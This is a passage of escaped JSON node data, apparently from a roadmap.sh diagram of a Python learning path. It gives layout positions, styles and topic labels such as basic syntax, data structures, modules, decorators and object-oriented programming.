1406.9044816937815\n      },\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 191,\n      \"height\": 49,\n      \"id\": \"iuSv7V59YxUZawN38Qlli\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -309.5754215575712,\n        \"y\": 1406.9044816937815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI / Data Science\",\n        \"href\": \"https://roadmap.sh/ai-data-scientist\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"ZSrQoNGKiR484uALMWO9F\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -309.5754215575712,\n        \"y\": 1406.9044816937815\n      },\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GISOFMKvnBys0O0IMpz2J\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -243.16916540260297,\n        \"y\": 67.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JDDG4KfhtIlw1rkNCzUli\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.16916540260297,\n        \"y\": 67.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6xRncUs3_vxVbDur567QA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -615.9741508977197,\n        \"y\": -11.214355272135947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -615.9741508977197,\n        \"y\": -11.214355272135947\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dEFLBGpiH6nbSMeR7ecaT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -615.9741508977197,\n        \"y\": 41.78564472786405\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Variables and Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -615.9741508977197,\n        \"y\": 41.78564472786405\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NP1kjSk0ujU0Gx-ajNHlR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -615.9741508977197,\n        \"y\": 94.78564472786405\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Dvy7BnNzK55qbh_SgOk8m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -615.9741508977197,\n        \"y\": 94.78564472786405\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.83083459739703,\n        \"y\": -38.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 131.83083459739703,\n        \"y\": -38.7695706291704\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.83083459739703,\n        \"y\": 14.230429370829597\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Exceptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 131.83083459739703,\n        \"y\": 14.230429370829597\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-DJgS6l2qngfwurExlmmT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.83083459739703,\n        \"y\": 67.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functions, Builtin Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 131.83083459739703,\n        \"y\": 67.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UT_SR7G-LYtzqooWrEtF1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 132.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i7xIGiXU-k5UIKHIhQPjE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 236.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tuples\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 236.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"soZFqivM3YBuljeX6PoaX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 340.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 340.83083459739703,\n        \"y\": 120.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bc9CL_HMT-R6nXO1eR-gP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.83083459739703,\n        \"y\": 173.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dictionaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 131.83083459739703,\n        \"y\": 173.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dvy7BnNzK55qbh_SgOk8m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -615.9741508977197,\n        \"y\": 147.78564472786405\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -615.9741508977197,\n        \"y\": 147.78564472786405\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OPD4WdMO7q4gRZMcRCQh1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 316.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arrays and Linked Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kIuns7FOwapwtFLKo1phQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 316.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0NlRczh6ZEaFLlT6LORWz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 422.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Heaps, Stacks and Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rSfg5M65LyZldhrdWOr90\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 422.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DG4fi1e5ec2BVckPLsTJS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 369.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hash Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0-m8jVuDKE8hX1QorKGTM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 369.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uJIqgsqUbE62Tyo3K75Qx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 475.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binary Search Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7NZlydjm4432vLY1InBS7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 475.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kLBgy_nxxjE8SxdVi04bq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 528.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"94KnPMQdNTOwQkUv37tAk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 528.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vvTmjcWCVclOPY4f_5uB0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 581.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sorting Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YNptpfK9qv2ovmkUXLkJT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 581.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"274uk28wzxn6EKWQzLpHs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 345.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 345.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -173.16916540260297,\n        \"y\": -161.7695706291704\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -173.16916540260297,\n        \"y\": -161.7695706291704\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -243.16916540260297,\n        \"y\": 67.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VJSIbYJcy2MC6MOFBrqXi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.16916540260297,\n        \"y\": 67.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VJSIbYJcy2MC6MOFBrqXi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 216.70802158662212\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Structures & Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 216.70802158662212\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kIuns7FOwapwtFLKo1phQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 316.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arrays and Linked Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 316.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rSfg5M65LyZldhrdWOr90\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 422.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Heaps, Stacks and Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 422.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0-m8jVuDKE8hX1QorKGTM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 369.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hash Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 369.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7NZlydjm4432vLY1InBS7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 475.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binary Search Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 475.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"94KnPMQdNTOwQkUv37tAk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 528.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 528.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YNptpfK9qv2ovmkUXLkJT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -243.66916540260297,\n        \"y\": 581.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sorting Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -243.66916540260297,\n        \"y\": 581.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"08XifLQ20c4FKI_4AWNBQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 263.9180561596926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Builtin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 263.9180561596926\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l7k0qTYe42wYBTlT2-1cy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 249.3559210300732,\n        \"y\": 263.9180561596926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 249.3559210300732,\n        \"y\": 263.9180561596926\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aWHgAk959DPUZL46CeRiI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 398.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lambdas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 398.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pIluLJkySqn_gI_GykV6G\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 451.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decorators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 451.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aB1LSQjDEQb_BxueOcnxU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 504.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Iterators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P_Di-XPSDITmU3xKQew8G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 504.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7t6mJBsaFMWPi7o9fbhhq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 130.3559210300732,\n        \"y\": 557.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Regular Expressions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P_Di-XPSDITmU3xKQew8G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.3559210300732,\n        \"y\": 557.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P_Di-XPSDITmU3xKQew8G\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -248.16916540260297,\n        \"y\": 657.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      